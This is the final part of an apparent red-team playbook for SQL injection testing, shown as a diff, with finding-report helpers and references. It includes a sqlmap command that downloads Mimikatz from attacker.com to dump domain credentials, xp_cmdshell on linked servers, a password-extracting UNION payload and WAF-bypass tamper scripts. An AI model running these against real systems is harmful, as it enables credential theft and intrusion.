|
|
1540
|
+
|
|
1541
|
+
# Step 5: Dump domain credentials via LSASS (if high priv)
|
|
1542
|
+
sqlmap -r hr_search_req.txt --dbms=mssql --batch \
|
|
1543
|
+
--os-cmd="powershell -enc $(echo 'IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com/Invoke-Mimikatz.ps1\"); Invoke-Mimikatz -DumpCreds' | iconv -t UTF-16LE | base64 -w 0)"
|
|
1544
|
+
|
|
1545
|
+
# Step 6: Check for linked servers
|
|
1546
|
+
sqlmap -r hr_search_req.txt --dbms=mssql --batch \
|
|
1547
|
+
--sql-query="SELECT name,data_source FROM sys.servers WHERE is_linked=1"
|
|
1548
|
+
|
|
1549
|
+
# Step 7: Execute on linked server
|
|
1550
|
+
sqlmap -r hr_search_req.txt --dbms=mssql --batch \
|
|
1551
|
+
--sql-query="EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]"
|
|
1552
|
+
```
|
|
1553
|
+
|
|
1554
|
+
---
|
|
1555
|
+
|
|
1556
|
+
## 11. Integration with RTExit Autodoc Engine
|
|
1557
|
+
|
|
1558
|
+
### Structured Finding Output
|
|
1559
|
+
|
|
1560
|
+
When discovering injection vulnerabilities, output findings in the RTExit autodoc JSON format:
|
|
1561
|
+
|
|
1562
|
+
```python
|
|
1563
|
+
#!/usr/bin/env python3
|
|
1564
|
+
"""RTExit autodoc integration for injection findings."""
|
|
1565
|
+
import json
|
|
1566
|
+
from datetime import datetime, timezone
|
|
1567
|
+
|
|
1568
|
+
def create_injection_finding(
|
|
1569
|
+
vuln_type,
|
|
1570
|
+
endpoint,
|
|
1571
|
+
parameter,
|
|
1572
|
+
payload,
|
|
1573
|
+
evidence,
|
|
1574
|
+
severity="HIGH",
|
|
1575
|
+
cvss_score=8.1,
|
|
1576
|
+
db_type=None,
|
|
1577
|
+
rce_achieved=False
|
|
1578
|
+
):
|
|
1579
|
+
finding = {
|
|
1580
|
+
"finding_id": f"INJ-{datetime.now().strftime('%Y%m%d%H%M%S')}",
|
|
1581
|
+
"timestamp": datetime.now(timezone.utc).isoformat(),
|
|
1582
|
+
"skill": "rt-exploit-injection",
|
|
1583
|
+
"category": "Injection",
|
|
1584
|
+
"subcategory": vuln_type,
|
|
1585
|
+
"severity": severity,
|
|
1586
|
+
"cvss_v3": cvss_score,
|
|
1587
|
+
"title": f"{vuln_type} in {parameter} parameter at {endpoint}",
|
|
1588
|
+
"affected_component": {
|
|
1589
|
+
"url": endpoint,
|
|
1590
|
+
"parameter": parameter,
|
|
1591
|
+
"method": "GET/POST",
|
|
1592
|
+
"db_type": db_type
|
|
1593
|
+
},
|
|
1594
|
+
"description": f"The parameter '{parameter}' at '{endpoint}' is vulnerable to {vuln_type}. "
|
|
1595
|
+
f"An attacker can manipulate the injected query to extract, modify, or delete "
|
|
1596
|
+
f"data from the database backend.",
|
|
1597
|
+
"proof_of_concept": {
|
|
1598
|
+
"payload": payload,
|
|
1599
|
+
"evidence": evidence,
|
|
1600
|
+
"rce_achieved": rce_achieved
|
|
1601
|
+
},
|
|
1602
|
+
"impact": {
|
|
1603
|
+
"confidentiality": "HIGH" if not rce_achieved else "CRITICAL",
|
|
1604
|
+
"integrity": "HIGH" if not rce_achieved else "CRITICAL",
|
|
1605
|
+
"availability": "MEDIUM" if not rce_achieved else "HIGH",
|
|
1606
|
+
"rce": rce_achieved
|
|
1607
|
+
},
|
|
1608
|
+
"remediation": {
|
|
1609
|
+
"short": "Use parameterized queries / prepared statements.",
|
|
1610
|
+
"long": [
|
|
1611
|
+
"Replace all dynamic SQL string concatenation with parameterized queries or prepared statements.",
|
|
1612
|
+
"Implement an ORM (e.g., SQLAlchemy, Hibernate, Entity Framework) that handles parameterization.",
|
|
1613
|
+
"Apply principle of least privilege — database accounts should not have DBA/sysadmin rights.",
|
|
1614
|
+
"Enable WAF rules specific to SQL injection (OWASP CRS ruleset).",
|
|
1615
|
+
"Implement input validation as defence-in-depth (not sole mitigation).",
|
|
1616
|
+
"Review and audit all database interactions, including stored procedures.",
|
|
1617
|
+
"Enable database activity monitoring (DAM) to detect anomalous queries."
|
|
1618
|
+
]
|
|
1619
|
+
},
|
|
1620
|
+
"references": [
|
|
1621
|
+
"https://owasp.org/www-community/attacks/SQL_Injection",
|
|
1622
|
+
"https://portswigger.net/web-security/sql-injection",
|
|
1623
|
+
"https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html"
|
|
1624
|
+
],
|
|
1625
|
+
"tags": ["sqli", "injection", vuln_type.lower().replace(" ", "-"), db_type or "unknown-db"]
|
|
1626
|
+
}
|
|
1627
|
+
return finding
|
|
1628
|
+
|
|
1629
|
+
def save_finding(finding, output_dir="./rt-findings"):
|
|
1630
|
+
import os
|
|
1631
|
+
os.makedirs(output_dir, exist_ok=True)
|
|
1632
|
+
filename = f"{output_dir}/{finding['finding_id']}.json"
|
|
1633
|
+
with open(filename, "w") as f:
|
|
1634
|
+
json.dump(finding, f, indent=2)
|
|
1635
|
+
print(f"[+] Finding saved: {filename}")
|
|
1636
|
+
return filename
|
|
1637
|
+
|
|
1638
|
+
# Usage example
|
|
1639
|
+
if __name__ == "__main__":
|
|
1640
|
+
finding = create_injection_finding(
|
|
1641
|
+
vuln_type="SQL Injection (UNION-based)",
|
|
1642
|
+
endpoint="https://target.com/search",
|
|
1643
|
+
parameter="q",
|
|
1644
|
+
payload="' UNION SELECT username,password FROM admin_users--+",
|
|
1645
|
+
evidence="Response contained: admin:$2b$12$abc123...",
|
|
1646
|
+
severity="CRITICAL",
|
|
1647
|
+
cvss_score=9.8,
|
|
1648
|
+
db_type="MySQL",
|
|
1649
|
+
rce_achieved=False
|
|
1650
|
+
)
|
|
1651
|
+
save_finding(finding)
|
|
1652
|
+
print(json.dumps(finding, indent=2))
|
|
1653
|
+
```
|
|
1654
|
+
|
|
1655
|
+
### SQLMap Output Parsing for RTExit
|
|
1656
|
+
|
|
1657
|
+
```python
|
|
1658
|
+
#!/usr/bin/env python3
|
|
1659
|
+
"""Parse sqlmap output and format for RTExit autodoc."""
|
|
1660
|
+
import json
|
|
1661
|
+
import re
|
|
1662
|
+
import sys
|
|
1663
|
+
|
|
1664
|
+
def parse_sqlmap_output(sqlmap_log_file):
|
|
1665
|
+
with open(sqlmap_log_file) as f:
|
|
1666
|
+
content = f.read()
|
|
1667
|
+
|
|
1668
|
+
findings = {}
|
|
1669
|
+
|
|
1670
|
+
# Extract DB type
|
|
1671
|
+
db_match = re.search(r'back-end DBMS: ([^\n]+)', content)
|
|
1672
|
+
if db_match:
|
|
1673
|
+
findings['db_type'] = db_match.group(1).strip()
|
|
1674
|
+
|
|
1675
|
+
# Extract injectable parameter
|
|
1676
|
+
param_match = re.search(r"Parameter: ([^\s]+) \(([A-Z]+)\)", content)
|
|
1677
|
+
if param_match:
|
|
1678
|
+
findings['parameter'] = param_match.group(1)
|
|
1679
|
+
findings['method'] = param_match.group(2)
|
|
1680
|
+
|
|
1681
|
+
# Extract injection type
|
|
1682
|
+
type_match = re.search(r"Type: ([^\n]+)", content)
|
|
1683
|
+
if type_match:
|
|
1684
|
+
findings['injection_type'] = type_match.group(1).strip()
|
|
1685
|
+
|
|
1686
|
+
# Extract payload
|
|
1687
|
+
payload_match = re.search(r"Payload: ([^\n]+)", content)
|
|
1688
|
+
if payload_match:
|
|
1689
|
+
findings['payload'] = payload_match.group(1).strip()
|
|
1690
|
+
|
|
1691
|
+
# Extract databases
|
|
1692
|
+
dbs = re.findall(r"\[\*\] ([a-zA-Z0-9_]+)", content)
|
|
1693
|
+
if dbs:
|
|
1694
|
+
findings['databases'] = dbs
|
|
1695
|
+
|
|
1696
|
+
print(json.dumps(findings, indent=2))
|
|
1697
|
+
return findings
|
|
1698
|
+
|
|
1699
|
+
if __name__ == "__main__":
|
|
1700
|
+
if len(sys.argv) < 2:
|
|
1701
|
+
print("Usage: python3 parse_sqlmap.py <sqlmap_log_file>")
|
|
1702
|
+
sys.exit(1)
|
|
1703
|
+
parse_sqlmap_output(sys.argv[1])
|
|
1704
|
+
```
|
|
1705
|
+
|
|
1706
|
+
---
|
|
1707
|
+
|
|
1708
|
+
## 12. Output and Documentation Instructions
|
|
1709
|
+
|
|
1710
|
+
### Required Documentation for Each Injection Finding
|
|
1711
|
+
|
|
1712
|
+
For every confirmed injection vulnerability, document the following:
|
|
1713
|
+
|
|
1714
|
+
```markdown
|
|
1715
|
+
## [VULN-ID] SQL Injection in [Parameter] — [Endpoint]
|
|
1716
|
+
|
|
1717
|
+
**Severity:** CRITICAL / HIGH / MEDIUM
|
|
1718
|
+
**CVSS Score:** X.X (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
|
|
1719
|
+
**DB Type:** MySQL / PostgreSQL / MSSQL / Oracle / MongoDB
|
|
1720
|
+
**Injection Type:** UNION-based / Error-based / Blind Time-based / Blind Boolean / Stacked
|
|
1721
|
+
|
|
1722
|
+
### Affected Endpoint
|
|
1723
|
+
- **URL:** https://target.com/endpoint
|
|
1724
|
+
- **Method:** GET / POST
|
|
1725
|
+
- **Parameter:** `parameter_name`
|
|
1726
|
+
- **Context:** URL parameter / POST body / JSON key / HTTP header / Cookie
|
|
1727
|
+
|
|
1728
|
+
### Proof of Concept
|
|
1729
|
+
|
|
1730
|
+
**Request:**
|
|
1731
|
+
```http
|
|
1732
|
+
GET /endpoint?parameter=PAYLOAD HTTP/1.1
|
|
1733
|
+
Host: target.com
|
|
1734
|
+
Cookie: session=xxx
|
|
1735
|
+
```
|
|
1736
|
+
|
|
1737
|
+
**Payload:**
|
|
1738
|
+
```
|
|
1739
|
+
PAYLOAD_HERE
|
|
1740
|
+
```
|
|
1741
|
+
|
|
1742
|
+
**Response evidence:**
|
|
1743
|
+
```
|
|
1744
|
+
EVIDENCE_OF_EXPLOITATION
|
|
1745
|
+
```
|
|
1746
|
+
|
|
1747
|
+
### Impact
|
|
1748
|
+
- Data exfiltration: All records in [table] accessible
|
|
1749
|
+
- Authentication bypass: Admin login achievable
|
|
1750
|
+
- RCE: [Yes/No] — via [method if yes]
|
|
1751
|
+
|
|
1752
|
+
### Remediation
|
|
1753
|
+
1. Replace dynamic SQL with parameterized queries
|
|
1754
|
+
2. Restrict DB user privileges
|
|
1755
|
+
3. Enable WAF SQL injection rules
|
|
1756
|
+
```
|
|
1757
|
+
|
|
1758
|
+
### sqlmap Evidence Collection
|
|
1759
|
+
|
|
1760
|
+
```bash
|
|
1761
|
+
# Always run with logging enabled for evidence
|
|
1762
|
+
sqlmap -r req.txt \
|
|
1763
|
+
--dbs \
|
|
1764
|
+
--output-dir=./sqlmap-evidence \
|
|
1765
|
+
--save-config=target_config.ini \
|
|
1766
|
+
--flush-session \
|
|
1767
|
+
--batch \
|
|
1768
|
+
-v 3 \
|
|
1769
|
+
2>&1 | tee ./sqlmap-evidence/sqlmap_run.log
|
|
1770
|
+
|
|
1771
|
+
# Take screenshots of key findings
|
|
1772
|
+
# Record HTTP traffic via Burp Suite → save project file
|
|
1773
|
+
# Export raw HTTP requests and responses from Burp for report appendix
|
|
1774
|
+
```
|
|
1775
|
+
|
|
1776
|
+
---
|
|
1777
|
+
|
|
1778
|
+
## 13. Resources and References
|
|
1779
|
+
|
|
1780
|
+
### Tools
|
|
1781
|
+
|
|
1782
|
+
| Tool | URL | Purpose |
|
|
1783
|
+
|---|---|---|
|
|
1784
|
+
| sqlmap | https://github.com/sqlmapproject/sqlmap | Automated SQL injection |
|
|
1785
|
+
| ghauri | https://github.com/r0oth3x49/ghauri | Advanced SQLi detection |
|
|
1786
|
+
| NoSQLMap | https://github.com/codingo/NoSQLMap | NoSQL injection automation |
|
|
1787
|
+
| tplmap | https://github.com/epinna/tplmap | SSTI detection and exploitation |
|
|
1788
|
+
| commix | https://github.com/commixproject/commix | Command injection automation |
|
|
1789
|
+
| gau | https://github.com/lc/gau | URL discovery |
|
|
1790
|
+
| arjun | https://github.com/s0md3v/Arjun | Parameter discovery |
|
|
1791
|
+
| interactsh | https://github.com/projectdiscovery/interactsh | OOB interaction server |
|
|
1792
|
+
| dalfox | https://github.com/hahwul/dalfox | XSS/injection scanner |
|
|
1793
|
+
| ysoserial | https://github.com/frohoff/ysoserial | Java deserialization payloads |
|
|
1794
|
+
|
|
1795
|
+
### Payload Repositories
|
|
1796
|
+
|
|
1797
|
+
| Resource | URL |
|
|
1798
|
+
|---|---|
|
|
1799
|
+
| PayloadsAllTheThings | https://github.com/swisskyrepo/PayloadsAllTheThings |
|
|
1800
|
+
| SecLists | https://github.com/danielmiessler/SecLists |
|
|
1801
|
+
| OWASP Testing Guide | https://owasp.org/www-project-web-security-testing-guide/ |
|
|
1802
|
+
| HackTricks | https://book.hacktricks.xyz/pentesting-web/sql-injection |
|
|
1803
|
+
| PortSwigger Web Security Academy | https://portswigger.net/web-security/sql-injection |
|
|
1804
|
+
| SSTI Payloads | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection |
|
|
1805
|
+
| SQLi Filter Bypass | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection/Intruder |
|
|
1806
|
+
|
|
1807
|
+
### sqlmap Tamper Scripts Reference
|
|
1808
|
+
|
|
1809
|
+
```bash
|
|
1810
|
+
# List all available tamper scripts
|
|
1811
|
+
ls $(python3 -c "import sqlmap; print(sqlmap.__file__.replace('__init__.py',''))")tamper/
|
|
1812
|
+
|
|
1813
|
+
# Key tamper scripts and their purpose:
|
|
1814
|
+
# apostrophemask → replace ' with UTF-8 full-width '
|
|
1815
|
+
# base64encode → base64 encode the whole payload
|
|
1816
|
+
# between → replace > with NOT BETWEEN 0 AND #
|
|
1817
|
+
# charencode → URL encode all chars
|
|
1818
|
+
# charunicodeencode → Unicode escape all non-ASCII chars
|
|
1819
|
+
# equaltolike → replace = with LIKE
|
|
1820
|
+
# greatest → replace > with GREATEST
|
|
1821
|
+
# ifnull2ifisnull → replace IFNULL with IF(ISNULL
|
|
1822
|
+
# modsecurityversioned → insert versioned MySQL comment
|
|
1823
|
+
# multiplespaces → add multiple spaces around SQL keywords
|
|
1824
|
+
# nonrecursivereplacement → double replacement to bypass deduplication
|
|
1825
|
+
# percentage → add % between each char (MSSQL)
|
|
1826
|
+
# randomcase → random case for each keyword char
|
|
1827
|
+
# securesphere → append special crafted string
|
|
1828
|
+
# space2comment → replace space with /**/
|
|
1829
|
+
# space2dash → replace space with -- comment + newline
|
|
1830
|
+
# space2hash → replace space with # comment + newline (MySQL)
|
|
1831
|
+
# space2mssqlblank → replace space with random blank (MSSQL)
|
|
1832
|
+
# space2plus → replace space with +
|
|
1833
|
+
# space2randomblank → replace space with random whitespace
|
|
1834
|
+
# symboliclogical → replace AND/OR with && and ||
|
|
1835
|
+
# unionalltounion → replace UNION ALL SELECT with UNION SELECT
|
|
1836
|
+
# unmagicquotes → replace ' with \' + add random comment
|
|
1837
|
+
```
|
|
1838
|
+
|
|
1839
|
+
### CVEs and Advisories Related to Injection
|
|
1840
|
+
|
|
1841
|
+
- CVE-2019-19781 — Citrix ADC SQL-like path traversal/injection
|
|
1842
|
+
- CVE-2021-44228 — Log4Shell (JNDI injection)
|
|
1843
|
+
- CVE-2022-22965 — Spring4Shell (expression injection)
|
|
1844
|
+
- CVE-2023-23397 — Exchange SSRF/injection chain
|
|
1845
|
+
- CWE-89 — Improper Neutralization of Special Elements used in an SQL Command
|
|
1846
|
+
- CWE-77 — Improper Neutralization of Special Elements used in a Command
|
|
1847
|
+
- CWE-94 — Improper Control of Generation of Code (SSTI)
|
|
1848
|
+
|
|
1849
|
+
### Learning Resources
|
|
1850
|
+
|
|
1851
|
+
| Resource | URL |
|
|
1852
|
+
|---|---|
|
|
1853
|
+
| PortSwigger SQL Injection Labs | https://portswigger.net/web-security/sql-injection |
|
|
1854
|
+
| PortSwigger SSTI Labs | https://portswigger.net/web-security/server-side-template-injection |
|
|
1855
|
+
| PortSwigger OS Command Injection | https://portswigger.net/web-security/os-command-injection |
|
|
1856
|
+
| HackTheBox | https://www.hackthebox.com |
|
|
1857
|
+
| TryHackMe SQL Injection | https://tryhackme.com/room/sqliab |
|
|
1858
|
+
| DVWA | https://github.com/digininja/DVWA |
|
|
1859
|
+
| WebGoat | https://github.com/WebGoat/WebGoat |
|
|
1860
|
+
| SQLi-labs | https://github.com/Audi-1/sqli-labs |
|